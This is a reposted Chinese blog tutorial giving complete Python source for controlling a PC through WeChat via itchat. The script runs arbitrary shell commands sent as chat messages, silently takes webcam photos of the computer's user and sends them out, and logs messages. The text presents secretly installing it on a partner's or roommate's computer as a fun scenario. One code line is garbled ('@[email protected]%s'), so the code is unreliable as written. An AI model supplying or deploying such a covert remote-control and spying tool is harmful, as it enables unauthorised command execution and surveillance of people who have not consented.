【轉載】Python 騷操作:微信遠端控制電腦
轉自Python中文社群 https://mp.weixin.qq.com/s/KPBNKLYvPgJqoUsWR6zBxw
今天帶給大家一個非常有意思的 python 程式,基於 itchat 實現微信控制電腦。你可以通過在微信傳送命令,來拍攝當前電腦的使用者,然後圖片會發送到你的微信上。甚至你可以傳送命令來遠端關閉電腦。
應用場景
你可愛又迷人的女朋友,在看到這篇教程之後,非常的開心。在你的電腦上部署了這個指令碼,並且在你不知情的情況下,默默的登入上。隨後跟你說我出去跟閨蜜逛街啦,今天就不陪你了。要記得不準吃雞。
你心想老子終於可以放鬆一天了!開心的吃雞!口上說著:“好的!親愛的玩得開心!”等著女朋友出門以後,你就開啟了吃雞模式,在絕地求生裡大開殺戒。
你的女朋友早已對你瞭如指掌,通過指令碼,先讓電腦截圖留下現場證據,隨後再打電話質問你是否在吃雞,你如果撒謊就把電腦遠端關機。
最後你想了下不對我沒有女朋友啊,隨後你轉頭微笑地看著你的室友。
程式思路
此次程式使用的環境是 python3.6 + windows10,在執行程式之前請先確保你已經安裝好了 opencv-python 和 matplotlib。通過 pip install 即可安裝。
程式主要是通過使用 itchat 庫來登入到微信網頁端,然後通過 itchat 來發送訊息和接收訊息。並通過 opencv 來呼叫電腦的攝像頭,把當前使用電腦的使用者拍照下來,傳送到你的微信上。至於遠端關機是通過呼叫 os 庫,傳送 cmd 命名即可實現。
程式原始碼
import itchat
import os
import time
import cv2
sendMsg = u"{訊息助手}:暫時無法回覆"
usageMsg = u"使用方法:\n1.執行CMD命令:cmd xxx (xxx為命令)\n" \
u"-例如關機命令:\ncmd shutdown -s -t 0 \n" \
u"2.獲取當前電腦使用者:cap\n3.啟用訊息助手(預設關閉):ast\n" \
u"4.關閉訊息助手:astc"
flag = 0 #訊息助手開關
nowTime = time.localtime()
filename = str(nowTime.tm_mday)+str(nowTime.tm_hour)+str(nowTime.tm_min)+str(nowTime.tm_sec)+".txt"
myfile = open(filename, 'w')
@itchat.msg_register('Text')
def text_reply(msg):
global flag
message = msg['Text']
fromName = msg['FromUserName']
toName = msg['ToUserName']
if toName == "filehelper":
if message == "cap":
cap = cv2.VideoCapture(0)
ret, img = cap.read()
cv2.imwrite("weixinTemp.jpg", img)
itchat.send('@[email protected]%s'%u'weixinTemp.jpg', 'filehelper')
cap.release()
if message[0:3] == "cmd":
os.system(message.strip(message[0:4]))
if message == "ast":
flag = 1
itchat.send("訊息助手已開啟", "filehelper")
if message == "astc":
flag = 0
itchat.send("訊息助手已關閉", "filehelper")
elif flag == 1:
itchat.send(sendMsg, fromName)
myfile.write(message)
myfile.write("\n")
myfile.flush()
if __name__ == '__main__':
itchat.auto_login()
itchat.send(usageMsg, "filehelper")
itchat.run()
程式並不複雜,定義了一些傳送的訊息,然後通過呼叫 itchat 和 cv2 相關庫的操作,即可實現。關於 itchat 庫的一些操作,可以去網上找相關的文件。
使用教程
獲取原始碼,然後在你的電腦上執行。隨後會彈出一個微信網頁登入的二維碼。
使用你的手機微信掃描登入,等待一會兒,微信檔案助手就會收到相應操作資訊。
傳送訊息「cmd shutdown -s -t 0」即可讓當前的電腦關閉。
傳送訊息「cap」即可呼叫電腦攝像頭拍攝當前使用者,然後把圖片傳送到微信上。
當然 cmd 命名還可以做更多有趣的事,大家可以自己去網上搜索下。